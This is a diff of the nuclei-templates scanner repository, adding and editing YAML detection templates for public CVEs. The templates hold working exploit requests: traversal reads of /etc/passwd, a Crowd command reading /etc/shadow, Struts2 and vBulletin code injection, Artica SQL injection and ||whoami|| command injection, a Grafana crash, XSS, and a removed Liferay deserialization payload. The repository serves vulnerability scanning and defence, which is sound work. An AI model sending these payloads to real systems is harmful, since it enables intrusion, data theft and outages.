Update .nuclei-ignore

Merge pull request #344 from Sy3Omda/master
add Credentials Disclosure template to check for common secrets
2026-11-07 08:36:19 -10:00 · 2020-08-26 00:37:11 +05:30 · 2020-08-25 21:16:47 +05:30 · 2020-08-25 21:15:55 +05:30 · 2020-08-25 21:14:33 +05:30 · 2020-08-25 19:31:54 +05:30
63 changed files with 2085 additions and 487 deletions
@@ -0,0 +1,4 @@
+.pre-commit-config.yaml
+security-misconfiguration/missing-x-frame-options.yaml
+panels/
+cves/CVE-2020-13379.yaml
@@ -1,5 +1,250 @@
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.

+<details>
+<summary>Template Directory</summary>
+
+```
+├── LICENSE.md
+├── README.md
+├── cves
+│   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-7529.yaml
+│   ├── CVE-2017-9506.yaml
+│   ├── CVE-2017-9841.yaml
+│   ├── CVE-2018-0296.yaml
+│   ├── CVE-2018-1000129.yaml
+│   ├── CVE-2018-11409.yaml
+│   ├── CVE-2018-11759.yaml
+│   ├── CVE-2018-1247.yaml
+│   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-14728.yaml
+│   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19439.yaml
+│   ├── CVE-2018-20824.yaml
+│   ├── CVE-2018-2791.yaml
+│   ├── CVE-2018-3714.yaml
+│   ├── CVE-2018-3760.yaml
+│   ├── CVE-2018-5230.yaml
+│   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14974.yaml
+│   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-16759-1.yaml
+│   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-18394.yaml
+│   ├── CVE-2019-19368.yaml
+│   ├── CVE-2019-19781.yaml
+│   ├── CVE-2019-19908.yaml
+│   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3799.yaml
+│   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-7609.yaml
+│   ├── CVE-2019-8449.yaml
+│   ├── CVE-2019-8451.yaml
+│   ├── CVE-2019-8903.yaml
+│   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9978.yaml
+│   ├── CVE-2020-10199.yaml
+│   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12720.yaml
+│   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-3187.yaml
+│   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-5284.yaml
+│   ├── CVE-2020-5405.yaml
+│   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5902.yaml
+│   ├── CVE-2020-6287.yaml
+│   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7961.yaml
+│   ├── CVE-2020-8091.yaml
+│   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8191.yaml
+│   ├── CVE-2020-8193.yaml
+│   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8512.yaml
+│   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9484.yaml
+│   └── CVE-2020-9757.yaml
+├── default-credentials
+│   ├── grafana-default-credential.yaml
+│   ├── rabbitmq-default-admin.yaml
+│   └── tomcat-manager-default.yaml
+├── dns
+│   ├── azure-takeover-detection.yaml
+│   ├── cname-service-detector.yaml
+│   ├── dead-host-with-cname.yaml
+│   └── servfail-refused-hosts.yaml
+├── files
+│   ├── apc-info.yaml
+│   ├── cgi-test-page.yaml
+│   ├── debug-pprof.yaml
+│   ├── dir-listing.yaml
+│   ├── docker-registry.yaml
+│   ├── drupal-install.yaml
+│   ├── elasticsearch.yaml
+│   ├── exposed-kibana.yaml
+│   ├── exposed-svn.yaml
+│   ├── filezilla.yaml
+│   ├── firebase-detect.yaml
+│   ├── git-config.yaml
+│   ├── htaccess-config.yaml
+│   ├── jkstatus-manager.yaml
+│   ├── jolokia.yaml
+│   ├── laravel-env.yaml
+│   ├── lazy-file.yaml
+│   ├── phpinfo.yaml
+│   ├── public-tomcat-instance.yaml
+│   ├── security.txt.yaml
+│   ├── server-status-localhost.yaml
+│   ├── telerik-dialoghandler-detect.yaml
+│   ├── telerik-fileupload-detect.yaml
+│   ├── tomcat-scripts.yaml
+│   ├── wadl-files.yaml
+│   ├── web-config.yaml
+│   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-user-enumeration.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── zip-backup-files.yaml
+├── generic-detections
+│   ├── basic-xss-prober.yaml
+│   ├── general-tokens.yaml
+│   └── top-15-xss.yaml
+├── panels
+│   ├── atlassian-crowd-panel.yaml
+│   ├── cisco-asa-panel.yaml
+│   ├── citrix-adc-gateway-detect.yaml
+│   ├── compal.yaml
+│   ├── crxde.yaml
+│   ├── docker-api.yaml
+│   ├── fortinet-fortigate-panel.yaml
+│   ├── globalprotect-panel.yaml
+│   ├── grafana-detect.yaml
+│   ├── jenkins-asyncpeople.yaml
+│   ├── jmx-console.yaml
+│   ├── kubernetes-pods.yaml
+│   ├── mongo-express-web-gui.yaml
+│   ├── parallels-html-client.yaml
+│   ├── phpmyadmin-panel.yaml
+│   ├── pulse-secure-panel.yaml
+│   ├── rabbitmq-dashboard.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sap-recon-detect.yaml
+│   ├── sophos-fw-version-detect.yaml
+│   ├── supervpn-panel.yaml
+│   ├── swagger-panel.yaml
+│   ├── tikiwiki-cms.yaml
+│   ├── weave-scope-dashboard-detect.yaml
+│   └── webeditors.yaml
+├── payloads
+│   └── CVE-2020-6287.xml
+├── security-misconfiguration
+│   ├── basic-cors-flash.yaml
+│   ├── basic-cors.yaml
+│   ├── front-page-misconfig.yaml
+│   ├── jira-service-desk-signup.yaml
+│   ├── jira-unauthenticated-dashboards.yaml
+│   ├── jira-unauthenticated-popular-filters.yaml
+│   ├── jira-unauthenticated-projects.yaml
+│   ├── jira-unauthenticated-user-picker.yaml
+│   ├── rack-mini-profiler.yaml
+│   ├── springboot-detect.yaml
+│   ├── wamp-xdebug-detect.yaml
+│   └── wordpress-accessible-wpconfig.yaml
+├── subdomain-takeover
+│   ├── detect-all-takeovers.yaml
+│   └── s3-subtakeover.yaml
+├── technologies
+│   ├── bigip-config-utility-detect.yaml
+│   ├── citrix-vpn-detect.yaml
+│   ├── clockwork-php-page.yaml
+│   ├── couchdb-detect.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
+│   ├── graphql.yaml
+│   ├── home-assistant.yaml
+│   ├── jaspersoft-detect.yaml
+│   ├── jira-detect.yaml
+│   ├── liferay-portal-detect.yaml
+│   ├── linkerd-badrule-detect.yaml
+│   ├── linkerd-ssrf-detect.yaml
+│   ├── netsweeper-webadmin-detect.yaml
+│   ├── ntlm-directories.yaml
+│   ├── prometheus-exposed-panel.yaml
+│   ├── s3-detect.yaml
+│   ├── sap-netweaver-as-java-detect.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sql-server-reporting.yaml
+│   ├── tech-detect.yaml
+│   ├── weblogic-detect.yaml
+│   └── werkzeug-debugger-detect.yaml
+├── tokens
+│   ├── amazon-mws-auth-token-value.yaml
+│   ├── aws-access-key-value.yaml
+│   ├── google-api-key.yaml
+│   ├── http-username-password.yaml
+│   ├── mailchimp-api-key.yaml
+│   └── slack-access-token.yaml
+├── vulnerabilities
+│   ├── cached-aem-pages.yaml
+│   ├── couchdb-adminparty.yaml
+│   ├── crlf-injection.yaml
+│   ├── discourse-xss.yaml
+│   ├── git-config-nginxoffbyslash.yaml
+│   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── microstrategy-ssrf.yaml
+│   ├── moodle-filter-jmol-lfi.yaml
+│   ├── moodle-filter-jmol-xss.yaml
+│   ├── nginx-module-vts-xss.yaml
+│   ├── open-redirect.yaml
+│   ├── oracle-ebs-bispgraph-file-access.yaml
+│   ├── pdf-signer-ssti-to-rce.yaml
+│   ├── rce-shellshock-user-agent.yaml
+│   ├── rce-via-java-deserialization.yaml
+│   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── symfony-debugmode.yaml
+│   ├── tikiwiki-reflected-xss.yaml
+│   ├── tomcat-manager-pathnormalization.yaml
+│   ├── twig-php-ssti.yaml
+│   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-wordfence-xss.yaml
+│   └── x-forwarded-host-injection.yaml
+└── workflows
+    ├── bigip-pwner-workflow.yaml
+    ├── grafana-workflow.yaml
+    ├── jira-exploitaiton-workflow.yaml
+    ├── liferay-rce-workflow.yaml
+    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── rabbitmq-workflow.yaml
+    ├── sap-netweaver-workflow.yaml
+    ├── springboot-pwner-workflow.yaml
+    ├── vbulletin-workflow.yaml
+    └── wordpress-workflow.yaml
+```
+
+</details>
+
+13 directories, **214 templates**. 
+
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

 ------
@@ -0,0 +1,20 @@
+id: CVE-2017-14849
+
+info:
+  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
+  author: Random-Robbie
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,29 @@
+id: CVE-2017-5638
+info:
+  author: "Random Robbie"
+  name: "Struts2 RCE "
+  severity: critical
+
+# This template supports the detection part only.
+# Do not test any website without permission
+# Exploit:- https://github.com/mazen160/struts-pwn
+
+
+requests:
+  - raw:
+      - |
+          GET / HTTP/1.1
+          Host: {{Hostname}}
+          Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+          Accept-Language: en
+          Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+          Connection: Keep-Alive
+          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
+          Pragma: no-cache
+          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+
+    matchers:
+      - type: word
+        words:
+          - "Bounty Plz"
+        part: header
@@ -0,0 +1,19 @@
+id: CVE-2019-11248
+
+info:
+  name: exposed_pprof
+  author: 0xceeb
+  severity: medium
+
+  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
+  # http://mmcloughlin.com/posts/your-pprof-is-showing
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/debug/pprof/"
+    matchers:
+      - type: word
+        words:
+          - "Types of profiles available:"
+          - "Profile Descriptions"
@@ -0,0 +1,38 @@
+id: CVE-2019-11580
+
+info:
+  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Atlassian Crowd and Crowd Data Center
+  # had the pdkinstall development plugin incorrectly enabled in release builds.
+  # Attackers who can send unauthenticated or authenticated requests
+  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
+  # to install arbitrary plugins, which permits remote code execution on
+  # systems running a vulnerable version of Crowd or Crowd Data Center.
+  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  # -
+  # References:
+  # > https://github.com/jas502n/CVE-2019-11580
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "root:*:"
+          - "bin:*:"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: CVE-2019-16759-1
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
+  author: madrobot
+  severity: high
+
+# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+
+requests:
+  - raw:
+      - |
+        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
+        Content-Type: application/x-www-form-urlencoded
+
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "PHP Version"
@@ -2,7 +2,7 @@ id: CVE-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
-  author: KBA@SOGETI_ESEC
+  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
  severity: medium

  # Source:-  https://www.exploit-db.com/exploits/48698
@@ -16,7 +16,17 @@ requests:
    matchers:
      - type: word
        words:
-          - Subscribed
+          - Name
+          - Email
+          - Status
+          - Created On
+        condition: and
+        part: body
+
+      - type: word
+        words:
+          - "Content-Disposition: attachment; filename=all-contacts.csv;"
+        part: header

      - type: status
        status:
@@ -0,0 +1,41 @@
+id: CVE-2019-2725
+
+info:
+  name: Oracle WebLogic Server - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
+  # Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
+  # Easily exploitable vulnerability allows unauthenticated attacker
+  # with network access via HTTP to compromise Oracle WebLogic Server.
+  # Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  # --
+  # References:
+  # > https://paper.seebug.org/910/
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/_async/AsyncResponseService"
+      - "{{BaseURL}}:7001/_async/AsyncResponseService"
+    body: >-
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+      xmlns:ads="http://www.w3.org/2005/08/addressing">
+        <soapenv:Header></soapenv:Header>
+        <soapenv:Body></soapenv:Body>
+      </soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "soapenv:Envelope"
+        part: body
+      - type: word
+        words:
+          - "X-Powered-By: Servlet"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,30 @@
+id: CVE-2019-6112
+
+info:
+  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
+  author: dwisiswant0
+  severity: medium
+
+  # A Cross-site scripting (XSS) vulnerability
+  # in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
+  # allows remote attackers to inject arbitrary web script or HTML
+  # via the keyword parameter (aka $search_term or the Search field).
+  # --
+  # References:
+  # > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
+          - "alert(1337)"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,39 @@
+id: CVE-2019-7609
+
+info:
+  name: Kibana Timelion Arbitrary Code Execution
+  author: dwisiswant0
+  severity: critical
+
+  # Kibana versions before 5.6.15 and 6.6.1
+  # contain an arbitrary code execution flaw in the Timelion visualizer.
+  # An attacker with access to the Timelion application could send a request
+  # that will attempt to execute javascript code.
+  # This could possibly lead to an attacker executing arbitrary commands
+  # with permissions of the Kibana process on the host system.
+  # --
+  # References:
+  # - https://github.com/mpgn/CVE-2019-7609
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/timelion/run"
+      - "{{BaseURL}}:5601/api/timelion/run"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+      Content-Type: "application/json; charset=utf-8"
+    body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "seriesList"
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,22 @@
+id: CVE-2019-9978
+
+info:
+  name: WordPress social-warfare RFI
+  author: madrobot & dwisiswant0
+  severity: critical
+
+  # Reference:- https://github.com/mpgn/CVE-2019-9978
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Burp Collabolator Server"
+        part: body
@@ -0,0 +1,21 @@
+id: CVE-2020-13379
+
+info:
+  name: Unauthenticated Grafana DoS
+  author: pxmme1337
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48638
+  # WARNING
+  # This vulnerability results in complete crashing of the grafana-server application.
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - "{{BaseURL}}/"
+    matchers:
+      - type: status
+        status:
+          - 502
@@ -0,0 +1,45 @@
+id: CVE-2020-17505
+
+info:
+  name: Artica Web Proxy 4.30 OS Command Injection
+  author: dwisiswant0
+  severity: high
+
+  # Artica Web Proxy 4.30.00000000
+  # allows an authenticated remote attacker
+  # to inject commands via the service-cmds parameter in cyrus.php.
+  # These commands are executed with root
+  # privileges via service_cmds_peform.
+  # -
+  # References:
+  # > https://blog.max0x4141.com/post/artica_proxy/
+
+requests:
+  - raw:
+      - |
+        GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+      - |
+        GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "array(2)"
+          - "Position: ||whoami||"
+          - "root"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,41 @@
+id: CVE-2020-17506
+
+info:
+  name: Artica Web Proxy 4.30 Authentication Bypass
+  author: dwisiswant0
+  severity: critical
+
+  # Artica Web Proxy 4.30.00000000
+  # allows remote attacker to bypass privilege detection
+  # and gain web backend administrator privileges
+  # through SQL injection of the apikey parameter in fw.login.php.
+  # -
+  # References:
+  # > https://blog.max0x4141.com/post/artica_proxy/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
+    redirects: true
+    max-redirects: 1
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "artica-applianc"
+      - type: status
+        status:
+          - 200
+          - 301
+          - 302
+        condition: or
+      - type: word
+        name: session
+        words:
+          - "PHPSESSID"
+        part: header
+    extractors:
+      - type: kval
+        kval:
+          - "PHPSESSID"
@@ -2,19 +2,23 @@ id: CVE-2020-5284

 info:
  name: Next.js .next/ limited path traversal
-  author: Harsh & Rahul
+  author: Harsh & Rahul & dwisiswant0
  severity: medium

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
-
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '\{"/_app":".*?_app\.js"'
+        part: body
+      - type: word
+        words:
+          - "application/json"
+        part: header
      - type: status
        status:
          - 200
@@ -2,7 +2,7 @@ id: CVE-2020-5902

 info:
  name: F5 BIG-IP TMUI RCE
-  author: madrobot & dwisiswant0
+  author: madrobot & dwisiswant0 & ringo
  severity: high

 requests:
@@ -11,6 +11,7 @@ requests:
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
      - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
+      - "{{BaseURL}}/hsqldb%0a"
    matchers-condition: and
    matchers:
      - type: status
@@ -21,6 +22,7 @@ requests:
          - "root:[x*]:0:0:"
          - "BIG-IP release ([\\d.]+)"
          - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
+          - "HSQL Database Engine Servlet"
        condition: or
        part: body
  - raw:
@@ -59,4 +61,4 @@ requests:
          - 200
      - type: word
        words:
-          - "h3ll0_w0Rld"
+          - "h3ll0_w0Rld"
@@ -3,21 +3,58 @@ id: CVE-2020-7961
 info:
  name: Liferay Portal Unauthenticated RCE
  author: dwisiswant0
-  severity: high
+  severity: critical
+
+  # Deserialization of Untrusted Data in
+  # Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers
+  # to execute arbitrary code via JSON web services (JSONWS).
+  # -
+  # References:
+  # > https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html

 requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/api/jsonws/invoke"
-      - "{{BaseURL}}:8080/api/jsonws/invoke"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
-      Connection: "close"
-      Content-Type: "application/x-www-form-urlencoded"
-      cmd2: "bash -c 'echo \"bm9uZXhpc3RlbnQ6MTMzNwo=\" | base64 -d'"
-    body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
+  - payloads:
+      command:
+        - "systeminfo" # Windows
+        - "lsb_release -a" # Linux
+        - "sysctl kern.ostype" # macOS
+      port:
+        - "80"
+        - "443"
+        - "8080"
+    attack: sniper
+    raw:
+      - |
+        POST /api/jsonws/invoke HTTP/1.1
+        Host: {{Hostname}}:port
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+        Content-Length: 4938
+        Accept: */*
+        Accept-Language: en
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
+        X-Requested-With: XMLHttpRequest
+        cmd2: command
+        Accept-Encoding: gzip, deflate
+
